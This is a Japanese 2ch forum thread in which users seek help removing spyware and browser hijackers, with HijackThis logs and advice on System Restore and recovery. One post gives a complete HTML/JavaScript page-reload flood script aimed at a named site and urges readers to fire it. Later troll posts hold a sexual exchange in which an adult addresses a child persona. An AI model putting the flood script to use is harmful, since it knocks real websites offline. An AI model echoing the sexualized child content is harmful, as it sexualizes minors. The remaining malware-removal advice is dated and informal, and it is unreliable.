やはりこれはテンプレどおり、
リモートホストなどで住所を突き止められることは基本的に無理。なんでしょうか？
怖い・・・。

PCを起動すると勝手にIEが開いてしまいます。
インターネット接続（ダイヤルアップ）が出来ていないので、
「ページを表示できません。」となるので被害は無いのですが、
気持ち悪いので直したいです。
アドレスは全く知らないところです。

一度勝手に開いたウインドウを閉じて、
もう一度IEを開けば問題無くホーム（yahoo）へ行けるんですけど。

これは>2のテンプレを実行すれば直りそうな事なのでしょうか？
OSはWindows XPです。
問題あるのが友人のPCなのですぐにレスを返せそうに無いのですが、
よろしくお願いします。

>>420
メモ帳で保存したら、拡張子を.htmlに変更してみんなで田代砲を発射しましょう

<html><head><title>超田代砲改 Ver.1.2</title><FONT SIZE="4" COLOR="#000000">超田代砲改 Ver.1.2</FONT> <br> <br>
<script language="javascript"> <!--
var wind;
var add;
function display(){
add=address.value;wind=window.open(add,'san','WIDTH400,height=400');
tashiro();
}
function tashiro(){wind.location=add;
fired.value++;
setTimeout("tashiro();",inter.value*1000);}
// -->
</script> </head> <body>
目標アドレス:<br><input type="text" size=50 name=address value=http://www.cat-e.be/member/index.php><br><br>
発射間隔:<br><input type="text" size=5 name=inter value=0.001>秒<br><br>
既発射弾数:<br>
<input type="text" name=fired value=0><BR>
<input type=button value="発射" onClick="display();">
</body></html>

>>420
ははは　ばーか
>>424の嫌がらせくらいしてやれ
どうせ、詐欺業者なんだから

about;blankのソースですが、テンプレにコピーしてドクターにかけろと書いてあったところが見当たりません。
何度も手間かけて本当にすいません

>>423
スタートアップで何か変な登録はされてないか
スパイウェアが入っているのではないか
その辺を疑うのなら、>>2だけじゃなく>>3、>>4もやらなきゃ無意味

>>426
あなたのIEソースは他の誰にも見ることはできません。
何回見てもわからないなら、素直に復元なりリカバリした方が早いと思うよ。

>>422 >>424
そこは請求なんてできません。田代砲の話題はスレ違い。
続きはこの辺のスレでどうぞ
【祭りのﾖｶｰﾝ】詐欺行為の悪質サイト潰し★２
http://news13.2ch.net/test/read.cgi/news/1093930653/
■これ、犯罪じゃね？■　Part5
http://love3.2ch.net/test/read.cgi/motenai/1094008658/

ここに、僕がコピペしたabout;blankのソース張りますので、どのようにすべきかを教えてください。
http://alex-ryoma.hp.infoseek.co.jp/newpage3.htm

>>429
<base href="res://%43%3a%5c%57%49%4e%44%4f%57%53%5c%53%59%53%54%45%4d%5c%50%4c%42%49%42%41%41%2e%44%4c%4c/">
思いっきり最初にあるじゃねーかボケ。ちゃんと見ろ。

>>429
そのわけわかんない文字列をIEのアドレス窓にでこのように貼り付けると変換される
http://%43%3a%5c%57%49%4e%44%4f%57%53%5c%53%59%53%54%45%4d%5c%50%4c%42%49%42%41%41%2e%44%4c%4c

C:\WINDOWS\SYSTEM\PLBIBAA.DLL
悪さをしているファイルがわかったか？

初心者ツールにかけて、プロパティを見ようとしても、「指定されたファイルがありません」
ってなるんですけれど…すいません

>>432
何とか色々検索してみようとか言うのが面倒くさいなら、
システムの復元かリカバリした方がいいんじゃないかな。
その原因ファイルが見つからないんじゃ、話にも何もならないし。

リカバリの方法を教えてもらえますでしょうか？

>>434
リカバリーCDなら、メーカーの説明書読め

>>434
（・３・）　エェー　ルール守らない悪い子はむっしっし　マニュアル読めYO

>>429、>>432、>>434は騙りだろ

システムの復元の窓は開くのですが、
中に何も表示されないままなので復元ができません。
セーフモードでも同じでした。
スタートボタンから始める以外に復元をする方法は無いでしょうか？

>>438
ｺﾏﾝﾄﾞﾌﾟﾛﾝﾌﾟﾄで%systemroot%\system32\restore\rstrui.exeって打ってみろ禿

>>438
ぶっ壊れ
そんなもの直したって、何もいい事ねえよ

>>438
>>414とか見た？他のテンプレはやった？めんどくさいから復元してるだけ？
復元もできないならリカバリすれば？（そっちの方がさらにめんどくさいけどな）

初心者がテンプレ見て惹かれる言葉は「復元」の二文字以外にあるわけないだろｗ

「助けて下さい」の人に近道なんてないんだけどな（ ´Д｀）ｙ−
テンプレやれっつってるのは、色々複合感染しまくってるからやれって事で。
近道で復元しようとかリカバリしようとか思う奴は、どうせまた同じのひっかかるだけ。

普通の人はそこまで末期症状になる前に対策を練る

>>443
しゃーないじゃん
ﾘｶﾊﾞﾘするしかねえ程ｲｶﾚてからここに来る椰子ばっかりなんだから

>>443=◆jAUHOUyWyE

リカバリを否定する理由はどこにもないんだけどな。一番確実な選択。

（・３・）　エェー　Hijackthisのログ見て直してもらえた奴は　そのときのログとっとけYO
　　　　　　　　　　同じこと起きたときに見比べて直せるだRO

スパイウェアと馬鹿はいつも二人三脚

>>446
その後にちゃんとアンチウィルスソフトも、テンプレにある３種の神器も、
転ばぬ先の杖も入れていればその通りなんだよね。

「助けて下さい」って来る人は、多分症状が治っただけで安心するから
そこでストップだろうなー、っていう先入観みたいなものがある。
だからリカバリだけして解決、ってだけじゃまた同じ事だよって事。

烈しくぶっ壊れちまっているのは、直した所でどうしようもない
後から不具合がぼろぼろと出まくるだろう
時間をかけてもどうせ恨まれるだけだ
直せるのは、セットアッププログラムがあるIEやOEやMPLAYERなどのレジストリ止まり
IMEやエクスプローラーなどの不具合まで発展してしまっているのは、レジストリをもう正常に修正のしようがない
修復インストールが可能な人だけだ
システムファイルならまだ、どうにでもなるけどね

こんなところで聞いていても解決せん
リカバリするのが一番早い

そうだそうだ！回答者から楽しみを奪っちまえｗｗWW

　∧＿∧ 　 ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　（　・∀・）＜　こんなとこで聞くよりリカバリした方が早いよ！無駄無駄！
　（ 建前 ）　 ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　｜ ｜　|
__（_＿）＿）＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　（ ＿）＿）
　｜ ｜ ｜
　（ 本音 ） 　／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　（　。Ａ。）＜　他の回答者さえいなくなれば俺が回答できて(ﾟДﾟ)ｳﾏｰ
　 ∨￣∨ 　 ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿

>>405
と同じ症状になったけど、これもリカバリすれば解決できますか？

>>454
（・３・）　エェー　もちろんYO

何時の間にやらパコバリスレになっとる…

>>453
お久しぶり〜

ぐへへへへへへへへへ・・・・・・・質問待ってるぞ。

質問です。

お前ら何様のつもりですか？

質問です。

リカバリって何？食えんの？

質問です。

カネをください。

セーフモードでそれらのソフトを実行して、削除してみたのですがだめでした。
一体どうすればいいのでしょうか？
ちなみにttp://www.fateback.com/←ここを踏んだためこのスパイウエアにかかりました

夏休みが終わったらちゃんと寝ろ

あと、スパイウエアが復活すると
｢C:\temp〜〜〜.exe｣が見つかりませんと警告が出ます

　　　　　　／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　　　　| 　 マスター、今夜も賑わってるね♪
　　　　 　 ﾚヽ＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　　　∧＿∧　　 　 　　　∧＿∧　 　 ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　　 （　　・∀） /￣ヽ　　(´∀｀　 )　＜　お店の雰囲気が変わったモナ
　　 （　　　`つ　日 凸　（　つ　つヽ　 ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　　 （＿　⌒./　　　凵ヽ |　｜ ｜　|ヽ.凸|　　 |
　　 「 　（＿/Ｙ　　　　　ヽ _（＿_）　|　|＼| 　　|
　　┗┳━|￣￣￣￣￣|　 　 .. 　 ＼|. │ 　｜
　　　 ┻＼|　　 　 　 　.｜　　　 　 　 ＼.| 　 │

>>464
そのパスでレジストリ内を検索して削除するんだ

検索してみましたがありませんでした

>>467
tempファイルはすべて削除しても問題無いから、検索してすべてのtempファイルを削除してみる。

>>467
直すつもりなら、ログ貼るしかねえな

ログとはhijackthisのログですか？

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\System32\pctspk.exe
C:\Program Files\LiquidView\lviewj.exe
C:\Program Files\Analog Devices\SoundMAX\SMTray.exe
C:\Progra~1\Necmfk\necmfk.exe
C:\Program Files\SmartHobby\PlugIn\MovieWriter\PlugPlayDetect.exe
C:\Program Files\Trend Micro\Virus Buster 2004\pccguide.exe
C:\Program Files\Trend Micro\Virus Buster 2004\PCClient.exe
C:\Program Files\Trend Micro\Virus Buster 2004\TMOAgent.exe

C:\Program Files\Winad Client\Winad.exe
C:\WINDOWS\System32\ctfmon.exe
C:\Program Files\SmartHobby\PlugIn\CopyFromDigitalCamera\SearchM.exe
C:\Program Files\Winad Client\WinClt.exe
C:\Program Files\GTAgent\AUAgent.exe
C:\Program Files\Messenger\msmsgs.exe
C:\Program Files\Softnavi\SNWebStart.exe
C:\Program Files\Softnavi\SNaviBTN.exe
C:\Program Files\tool\Win_Exit_Button_205\WExitBtn.exe
C:\Program Files\仮想画面マネージャ\仮想画面マネージャ.exe
C:\Program Files\DigiOn\DiXiM Media Server\dmsf.exe
C:\Program Files\Common Files\Microsoft Shared\VS7DEBUG\MDM.EXE
C:\WINDOWS\system32\nmftskss.exe
C:\WINDOWS\system32\NTMETER.EXE
C:\WINDOWS\System32\nvsvc32.exe
C:\Smdata\ReadSctService.exe
C:\Program Files\Analog Devices\SoundMAX\SMAgent.exe
C:\WINDOWS\System32\svchost.exe
C:\Program Files\Trend Micro\Virus Buster 2004\Tmntsrv.exe
C:\Program Files\Trend Micro\Virus Buster 2004\tmproxy.exe
C:\Program Files\Trend Micro\Virus Buster 2004\PccPfw.exe
C:\Program Files\Internet Explorer\iexplore.exe
C:\Documents and Settings\User\My Documents\スパイウェア対策ソフト\hijackthis\HijackThis.exe

O2 - BHO: AcroIEHlprObj Class - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Program Files\Adobe\Acrobat 6.0\Reader\ActiveX\AcroIEHelper.dll
O2 - BHO: IDN Helper Object - {118CE65F-5D86-4AEA-A9BD-94F92B89119F} - C:\WINDOWS\Downlo~1\CNSMIN~1.DLL (file missing)
O2 - BHO: (no name) - {53707962-6F74-2D53-2644-206D7942484F} - C:\PROGRA~1\SPYBOT~1\SDHelper.dll
O2 - BHO: Google Toolbar Helper - {AA58ED58-01DD-4d91-8333-CF10577473F7} - c:\program files\google\googletoolbar3.dll
O3 - Toolbar: ラジオ(&R) - {8E718888-423F-11D2-876E-00A0C9082467} - C:\WINDOWS\System32\msdxm.ocx
O3 - Toolbar: &Liquid Surf - {B9F633F6-EA44-45F4-91EB-FABFC65A0634} - C:\Program Files\LiquidSurf\sybil.dll
O3 - Toolbar: (no name) - {BA52B914-B692-46c4-B683-905236F6F655} - (no file)
O3 - Toolbar: BBS &Toolbar - {78D663D2-97F1-4A09-BD41-B75CB6989211} - C:\Program Files\BBS Toolbar\BbsBar2.dll
O3 - Toolbar: &Google - {2318C2B1-4965-11d4-9B18-009027A5CD4F} - c:\program files\google\googletoolbar3.dll
O4 - HKLM\..\Run: [IMJPMIG8.1] "C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32
O4 - HKLM\..\Run: [PHIME2002ASync] C:\WINDOWS\System32\IME\TINTLGNT\TINTSETP.EXE /SYNC
O4 - HKLM\..\Run: [PHIME2002A] C:\WINDOWS\System32\IME\TINTLGNT\TINTSETP.EXE /IMEName
O4 - HKLM\..\Run: [nwiz] nwiz.exe /install
O4 - HKLM\..\Run: [NvCplDaemon] RUNDLL32.EXE C:\WINDOWS\System32\NvCpl.dll,NvStartup
O4 - HKLM\..\Run: [PCTVOICE] pctspk.exe
O4 - HKLM\..\Run: [SHRunOnce] C:\Program Files\SmartHobby\SHRunOnce.exe
O4 - HKLM\..\Run: [UpdateManager] "C:\Program Files\Common Files\Sonic\Update Manager\sgtray.exe" /r
O4 - HKLM\..\Run: [LiquidView] C:\Program Files\LiquidView\lviewj.exe
O4 - HKLM\..\Run: [NMFTASK] NMFTASK.EXE /RESET

O4 - HKLM\..\Run: [Smapp] C:\Program Files\Analog Devices\SoundMAX\SMTray.exe
O4 - HKLM\..\Run: [IMJPMIG9.0] C:\PROGRA~1\COMMON~1\MICROS~1\IME\IMJP9\IMJPMIG.EXE /Preload /Migration32
O4 - HKLM\..\Run: [IMEKRMIG6.1] C:\WINDOWS\ime\imkr6_1\IMEKRMIG.EXE
O4 - HKLM\..\Run: [MSPY2002] C:\WINDOWS\System32\IME\PINTLGNT\ImScInst.exe /SYNC
O4 - HKLM\..\Run: [NECMFK] C:\Progra~1\Necmfk\necmfk.exe
O4 - HKLM\..\Run: [MCAgentExe] c:\PROGRA~1\mcafee.com\agent\mcagent.exe
O4 - HKLM\..\Run: [MCUpdateExe] C:\PROGRA~1\mcafee.com\agent\mcupdate.exe
O4 - HKLM\..\Run: [pccguide.exe] "C:\Program Files\Trend Micro\Virus Buster 2004\pccguide.exe"
O4 - HKLM\..\Run: [PCClient.exe] "C:\Program Files\Trend Micro\Virus Buster 2004\PCClient.exe"
O4 - HKLM\..\Run: [TM Outbreak Agent] "C:\Program Files\Trend Micro\Virus Buster 2004\TMOAgent.exe" /run
O4 - HKLM\..\Run: [WinHandAutoClean] "C:\Program Files\Madonote\AUTOCLN.EXE"
O4 - HKLM\..\Run: [Winad Client] C:\Program Files\Winad Client\Winad.exe
O4 - HKCU\..\Run: [ctfmon.exe] C:\WINDOWS\System32\ctfmon.exe
O4 - HKCU\..\Run: [SearchM] C:\Program Files\SmartHobby\PlugIn\CopyFromDigitalCamera\SearchM.exe
O4 - HKCU\..\Run: [１２１ポップリンク] "C:\Program Files\GTAgent\AUAgent.exe" /startup
O4 - HKCU\..\Run: [MSMSGS] "C:\Program Files\Messenger\msmsgs.exe" /background
O4 - Startup: ウインドウズ終了ボタン.lnk
O4 - Startup: 仮想画面マネージャ.lnk = ?

O4 - Global Startup: インターネットを楽しもうスターター.lnk = ?
O4 - Global Startup: ソフトナビゲータースターター.lnk = ?
O8 - Extra context menu item: &Google Search - res://c:\program files\google\GoogleToolbar3.dll/cmsearch.html
O8 - Extra context menu item: Groyaでリンク先を開く - C:\groya\groya1.htm
O8 - Extra context menu item: Groyaで選択範囲を開く - C:\groya\groya1.htm
O8 - Extra context menu item: Microsoft Excel にエクスポート(&X) - res://C:\PROGRA~1\MICROS~2\OFFICE11\EXCEL.EXE/3000
O8 - Extra context menu item: Save Flash - res://C:\Program Files\UnH Solutions\Flash Saving Plugin\FlashSButton.dll/210
O8 - Extra context menu item: WeBoXでこのページを取り込む(&1) - C:\Documents and Settings\User\デスクトップ\webox0.97R\webox_dl.html
O8 - Extra context menu item: WeBoXで全てのリンクを取り込む(&2) - C:\Documents and Settings\User\デスクトップ\webox0.97R\webox_all.html
O8 - Extra context menu item: WeBoXで選択範囲を取り込む(&3) - C:\Documents and Settings\User\デスクトップ\webox0.97R\webox_sel.html
O8 - Extra context menu item: このページのキャッシュ - res://c:\program files\google\GoogleToolbar3.dll/cmcache.html
O8 - Extra context menu item: ブラクラチェッカー - C:\WINDOWS\WEB\bcchk.htm
O8 - Extra context menu item: リンク元 - res://c:\program files\google\GoogleToolbar3.dll/cmbacklinks.html
O8 - Extra context menu item: 右クリックランチャー(&K) - C:\Program Files\rlaunch\rlaunch.htt
O8 - Extra context menu item: 最小ウィンドウでリンク先を開く - C:\groya\groya3.htm
O8 - Extra context menu item: 最小ウィンドウで選択範囲を開く - C:\groya\groya3.htm
O8 - Extra context menu item: 選択範囲から動画URL抽出 - C:\groya\groya4.htm

O8 - Extra context menu item: 関連ページ - res://c:\program files\google\GoogleToolbar3.dll/cmsimilar.html
O9 - Extra button: リサーチ - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - C:\PROGRA~1\MICROS~2\OFFICE11\REFIEBAR.DLL
O9 - Extra button: Flash - {43CF38F3-5AEC-45a3-AD31-04EB06E9C6CA} - (no file) (HKCU)
O14 - IERESET.INF: START_PAGE_URL=http://www.biglobe.ne.jp/
O17 - HKLM\System\CCS\Services\Tcpip\..\{2373F865-DF65-4F37-8370-A4CDF18AEAB0}: NameServer = 218.47.162.1 218.47.162.9
O17 - HKLM\System\CS1\Services\Tcpip\..\{2373F865-DF65-4F37-8370-A4CDF18AEAB0}: NameServer = 218.47.162.1 218.47.162.9
O17 - HKLM\System\CS2\Services\Tcpip\..\{2373F865-DF65-4F37-8370-A4CDF18AEAB0}: NameServer = 218.47.162.1 218.47.162.9
O18 - Protocol: msjwwdat - {BAAB02DC-913E-40AA-B9ED-8068DEE42CFA} - C:\Program Files\Microsoft Office\Home Style\JWW\JWWData.dll
O18 - Filter: text/x-mrml - {C51721BE-858B-4A66-A8BF-D2882FF49820} - C:\Program Files\YAMAHA\MidRadio Player\midradio.ocx
O21 - SSODL: System - {87621A11-9017-48FC-8B10-58210A3C53D6} - C:\WINDOWS\system32\system32.dll (file missing)

>>391
ここに何か登録されていないか最初に確認してくれ
http://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionId=9286

>>473-475
Fix指示を出す前に

>O2 - BHO: IDN Helper Object - {118CE65F-5D86-4AEA-A9BD-94F92B89119F} - C:\WINDOWS\Downlo~1\CNSMIN~1.DLL (file missing)
http://higaitaisaku.web.infoseek.co.jp/removecnsmin.html
ここを見て、CnsMinを完全に削除しろ。中途半端に削除されてるよ。
テンプレをいい加減に読んでると余計苦労するだけだぜ。

あと、マカフィーとトレンドマイクロが両方入ってる。
McAfeeは最新の定義にできるの？できるならどっちかだけにしろ。
最新の定義にできないなら、McAfeeはアンインストール。

まずこの２つを実行してみて。

（・３・）　エェー　正直怪しいのこれぐらい

O4 - HKLM\..\Run: [Winad Client] C:\Program Files\Winad Client\Winad.exe

�d直ったよ。

>>473-475
ネタくさ（　´,_ゝ`）

�d�d直ったよ。

>>481
お客さん、ちょっと事務所まで来て頂けますか。

誰か、ちゃんとしたお礼書き込んどけよ

有難うございました。
お陰さまで、10年間悩んだ水虫が嘘の様に治りました

>>477
ありました。今手順１をやってます

>>479
もっと。怪しいものはありませんか？

>>487
お願いします、本当にそういうのやめてください

>>488
ageって書くなデブ

何ですかこれは、知らない私がいっぱい？？？？？
2ちゃんって本当に恐ろしい所ですね・・・・・・・・・・・・・

>>486-488
どっからどう見てもネタだな（　´_ゝ`）

win98で変なアイコンがスタートメニューとインジケータ？に入ってしまったのですが
アプリケーションの追加と削除を見てもそのファイルが見当たりません。
どうすれば削除できるでしょうか。

さてSP2祭りでもいくか

ネタじゃないです真剣です。

>>494
▼━質問のしかた ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
　・ E-mail欄(省略可) には何も記入しないこと。(ID出す→偽者対策・質問者の区別)

>>492
横から割り込まないでください、私が質問中ですよ。

>>492
テンプレへレッツGO。

>>495
個人情報が漏れるのが心配ですので許してください。

えっちなホームページみたらちんちんを大きくなってなおらないんですけど、
ボクはどうなっちゃうのでしょうか？？たすけてください。

500ゲット

>>492
教えといてやるからな
そこにあるのはレジストリに記載されているアンインストール情報であって、ファイルではない
レジストリのその場所に記憶されている情報を基にして、アンインストールプログラムを起動する

>>499
ちんちんに刺激を与えてやってください。
結果的に元の大きさに戻るでしょう
尚、お猿化しても私は知りません。

・・・やっぱ釣堀だなこのスレｗ





























まぁ、もちつけｗ
http://www.varkoume.da.ru/

>>498
本人なら、>>391 でＩＤ出しているぞ。
ＩＤ出さない悪い子は、ネタレスされても諦めろ

>>503
何なの？？？？？？？

>>503
ロリ(･A･)ｲｸﾅｲ!!

どうせ、大方またPC自作板で遁走してきた奴が
ここ荒らしてストレス解消してるだけだろ（　´,_ゝ`）ﾌﾟｯ

>>507
それ何所？

みなさん、私の新作テンプレが完成しましたよ
早くスレを使い切って、新スレで使ってくださいよん。

>>502
なんか白いおしっこのみたいなものがたくさんでたんですけど、
なんでしょうか？？ボクは病気なんでしょうか？不安です・・・
おじちゃんおしえてください。

>>510
ど〜れ、おじちゃんが咥えてキレイに舐めてあげようねぇ〜

>>477
実行しました。これで直りますか？

>>510-511
http://sakura02.bbspink.com/gaypink/

>>510
正常です。
子供はもう寝なさい。

>>512
今更ID出しても騙りなのか本人なのかわからないから誰もアドバイスしないと思うよ。
既に出てるアドバイスでも全部読んでみる事だね。

>>513
ありがとう、あなたもいらっしゃいよ〜♪

総合質問スレで質問したら「スパイウェアチェク」と言われたのでここに来ました。

OS：Xp Home Edition　機種：DELL INSPIRON 5100
ブラウザ：DonutP2.5.2 /　Internet Explorer 6.0.2
接続方法：eo64エア（PHS) / DIONダイヤルアップ

ブラウザでインターネット上のHPを閲覧しようとすると、
２〜３秒程通信を行った後、プログラムが応答無しの状態になってしまいます
×ボタンを押して終了すると、
「問題が発生したため、Donut (iexplore.exe) を終了します。
ご不便をおかけして申し訳ありません。」のメッセージが表示されます。

「この問題の詳細について参照」をクリックしたときに表示される
エラー署名は以下のとおりです
AppName: donutp.exe (iexplore.exe)
AppVer: 2.5.2.0 (6.0.2800.1106)
ModName: wininet.dll
ModVer: 6.0.2800.1106
Offset: 000619d0

上記の接続方法のどちらで接続しても同じ状態になります。
オフライン作業を行ったり、ローカル上のhtmlファイルを
開いたりした場合には、正常に動作します。
また、OpenJaneDoe、電信八号(メールソフト)は正常に通信を行います。

原因・対処法等分かりましたら教えていただけないでしょうか

>>517
質問者は、メール欄を空欄にしてIDを出してください。

このスレッドの >>1-6 を読んで自己努力。

ああ、さげてた。ごめんなさい

レジストリを書き換えられたり、いろいろ手を加えられて、
不要なレジストリなどをばっさりとお掃除するツールらしいです。

Regseeker
ttp://www.hoverdesk.net/freeware.htm
RegSeeker1.3Beta日本語ファイル
ttp://downloads.at.infoseek.co.jp/

>>520
何か怖そうなので調べたら、2ｃｈに専用スレが有った
【漢専用】Regseeker【ばっさり上等】
http://pc5.2ch.net/test/read.cgi/win/1077077766/

リスクが大きいようですね

（・工・）あっそお

感想は日記に書けって言ってるだろ

ここは、俺様の日記だから問題無し

about:blank、search forのページ。
右クリックしても何も反応せんようになったんやけど…

>>525
さんざん既出

>>526
あ、本当だった。
アホな質問してｽﾏｿ

about:blank Search forようやく治った
テンプレサイト見るとabout:blankとSearch for型は別の対処やってるけど
自分の場合はSearch forの対処やった後にCoolWebShredder実行してようやく完治

実家のＰＣが複数のスパイウェアにかかってたので、いろいろやってみました。

spybot,ad-awareでいろいろと削除したあと、
調子悪くなったという日付あたり以後に作成されたexeファイルを検索して
怪しいものは全部消してみました。
それで当初の症状（立ち上げた状態でフリーズ、about:blankなど）はなくなったのですが
ＩＥの右下に「信頼済みサイト」のアイコンが出て治りません。
オプションからサイトリストは削除したのですが。
それにエクスプロアラーの調子もおかしいようで、フォルダを開いてもアイコンを表示しない設定になっています。
「表示」の設定が”webページ”にチェックが入ったままの状態です。
元の状態へ戻す方法をご教授ねがいます。

それと、タスクマネージャをみたところ、
intarnat
aptezbp
loadqm
systray
imejp98m
ahnsd
iexplore
以上のものが動いているのですが、問題あるものはないでしょうか？


ＯＳは98SE、ＩＥ使用でセキュリティ関係のソフトは入っておりません

>>529
テンプレやってからにしろ
それからじゃないと見てやらない

>>529
調子悪くなったのが何時か分かるなら、システムの復旧しろ

>>531
×　システムの復旧
○　システムの復元

■システムの復元（レジストリーを感染以前に戻す）
Windows98は現在手元に無いので、設定方法をWebから探してきた

●Windowsを再起動して「Ctrl」ボタンを押下したままにして
　「スタートアップメニュー」を表示させます。
●メニューより「Safe mode command prompt only」を指定し
　て「MS-DOS」を起動します。
●右記のコマンドを実行します。C:\>Scanreg /restore
●正常起動のバックアップが表示されますので感染以前の物を
　選ぶだけでその時点に戻ることが出来ます。

>>529
>セキュリティ関係のソフトは入っておりません
http://computercops.biz/startuplist-160.html
はて？

あとは全部見た感じ普通のプロセスだと思うんだけど。
アンチウィルスソフトを入れてスキャンするか、オンラインスキャンをやってみ。

↑これは何なの？

>>534
リンク先見ればわかるけど、アンラボV3ウィルスブロックのアップデーター。
アンチウィルスソフト入ってるんじゃねーのかな？

アンラボV3ウィルスブロック・・・・・・かっこいい名前っすね〜

>>531-532
ありがとうございます。
システムの復元が98でもできるとは知りませんでした。


>>533
入ってるみたいですね。
実家のＰＣなんで俺は基本的にノータッチだから認識違いをしてました。
すみません。

>>537
アンラボV3が入ってるなら、それが常駐保護されるように設定し直すとか、
自動的に定義をアップデートできるように設定してあげるとかはしてあげるといいんじゃないかな。
何も入ってないのと、何かアンチウィルスソフトが入っているんじゃ大違いだよ。

アンラボV3はスレがあるし、スレを読むなり公式見たりして設定しなおしてあげるといいと思うぞ。
■■■【アンラボ】V3ウイルスブロック■■■
http://pc5.2ch.net/test/read.cgi/sec/1037884291/

うむ。

>>538で終わらせたら、このスレの話題から反れてるね。ごめん。
最新の定義にアップデートしたら、V3でウィルススキャンかけてみな。
もしかしたら、単純にウィルスが入り込んでるだけかもしれない。
最新の定義に何かの事情でできないなら、>>3のオンラインスキャンを試してみる。

テンプレ全部やっても治らないなら、>>5やってここにログを貼れば見る。

>>537
システムの復元じゃないよ
バックアップしてあるレジストリの復元
当然悪玉ファイルは残ったままだから、ダブルクリックしたら不具合起こるよ

Ad-Aware SE Personalでスキャンしてでてきた
重要なオブジェクトってのはウィルスとかのことなんですか？

>>540
Ｖ3とやらを探してみたのですが見当たりません。
スタート→プログラムにないんですよ。
タスクが動いてるのに…

>>541
うーん、俺の理解力を超えつつあります。

＞バックアップしてあるレジストリの復元
改変されたレジストリを以前の状態に戻すってことですよね。
全ての悪玉を修正、削除したあとでレジストリを復元しても悪者は復帰してくるんでしょうか？
だったら無限ループに陥りませんか？

>>542
そう

>>543
一番手っ取り早いのは、そのPC使ってる人にアンチウィルスソフト入れた？って聞く事だろうね。
もしかしたら以前入れてて、アンインストールした後の残りカスなのかもしれないし。
（だとしたらそれも修復しなきゃいけないわけだしね）

言っている内容は要するに、最新の定義にできるV3があるならV3でスキャン、
V3でスキャンできないなら>>3のオンラインスキャンしろ、ってだけだよ。質問するのはその後。

>>545
わかりました。
スキャンともう一度テンプレを試したらまた来ます。

>>545
わかりました。
スキャンともう一度テンプレを試したらまた来ます。

>>545
わかりました。
スキャンともう一度テンプレを試したらまた来ます。

>>545
わかりました。
スキャンともう一度テンプレを試したらまた来ます。

>>545
わかりました。
スキャンともう一度テンプレを試したらまた来ます。

>>545
わかりました。
スキャンともう一度テンプレを試したらまた来ます。

システムの復元も バックアップしてあるレジストリの復元だけで
当然悪玉ファイルは残ったままだよ。

＞システムの復元はレジストリの状態を復元するだけなので、
基本的にはデータ類（含メール）はすべて現状のものが維持されます。

＞これはウィルスやスパイウェアにも言えます。つまり、自動起動やブラウザへの仕込みなどの
「仕掛け」は解除されますが多くの場合本体のプログラムはそのままHDに残ります。

http://higaitaisaku.web.infoseek.co.jp/fukugen.html

アダルトサイト被害対策で質問することになったのでこちらの質問は終了します。
ありがとうございました

>>553
貴方の選択は正しい、それでも
向こうで、門前払い喰らったら帰って来いよ

>>553
おう！！貞だけは気をつけろよ。

>>555
貞は、真面目過ぎるけど回答者としてはポイントを突いた
的確な対応していたぞ。
真面目すぎて、ここには向かないキャラだけどな

>>552
＞これはウィルスやスパイウェアにも言えます。つまり、自動起動やブラウザへの仕込みなどの
「仕掛け」は解除されますが多くの場合本体のプログラムはそのままHDに残ります。

これはもう、訂正してあるだろうよ
いつまでも攻めるなや

MeとXPのシステムの復元は、ファイルの監視までしている

>>557
相談者は98SEな訳だが。（>>529）

まぁ何でもいいやｗ

>>553
http://higaitaisaku.web.infoseek.co.jp/cgi-bin/cbbs.cgi?mode=one&namber=41596&type=0&space=0&no=0
お前、ネタでやってるだろ( ﾟдﾟ)
http://higaitaisaku.web.infoseek.co.jp/caution.html
「質問する場合の必須事項」ってのを穴が開くほど読んでから質問しろよハゲ。

>>557
どこで訂正してるの？

何度駆除しても以下の3つのスパイウェアが検出され、
完全に駆除することができません。

VX2/f 3entries
Dialer.Xpehbam.biz 5entries
DSO Exploit 2entries

OSはWin2K(SP4),ブラウザはIE6.0,セキュリティソフトは無です。
どうすればこれらのスパイウェアを駆除できるかわかる方お願いします。

>>562
何でセーフモードでやれって書いてあるのにやらねえんだ！

>>562
DSO ExploitはSpybotのバグだから無視。
その他はセーフモードで実行しても消えないなら、ウィルスを疑った方がいい。

>>563
セーフモードでのSpybotも行っています。

>>565
>セキュリティソフトは無です。
これの意味がよくわからんのだが。アンチウィルスソフトがないって事かい？
先にアンチウィルスソフトを使ってスキャンか、オンラインスキャンで駆除しないと意味ないよ。

>>565
ad-aware seは？

>>565
晩御飯なに食べたんだ？

実家の父親が「about:blank Search for」にかかりやがった…。
とりあえずSpybotをメールで送り、午後から今までずっと電話で説明。
4年以上前のPCだから何をするにも時間がかかり、
結局駆除の続きは明日やることに。　　　　　　　　　　　ﾀｽｹﾃｰ(´Д｀;)

>>569
回答は俺の千本ノックを受けてからだ！！！準備はいいか？

ttp://www.CAT-E.BE/member/index.php

これ踏んだらいきなり入会と書かれたのだが
ホストだけじゃ個人の特定は不可能だよな？
ただの脅しだよな？そうだよな？orz

>>569
データを退避出来るなら、再インストールが早いけど
たぶん無理なんだろうな。
about:blank Search for… は手強いけど
親孝行だと思って、がんばれ

>>571
http://ex7.2ch.net/test/read.cgi/news4vip/1093920043/

祭りの後だが、まぁ見とけ

>>571
個人識別コード
あなたのプロバイダは あほー BB です。
個人識別コード 1094136210 を登録いたしました。
個人識別コードはPC個別に割り当てられている
☆個人情報を特定可能な☆★次世代コード★です。
ご利用期間60日間　料金\15,000

ネットやっていると定期的にエロでも何でもない普通のサイトの
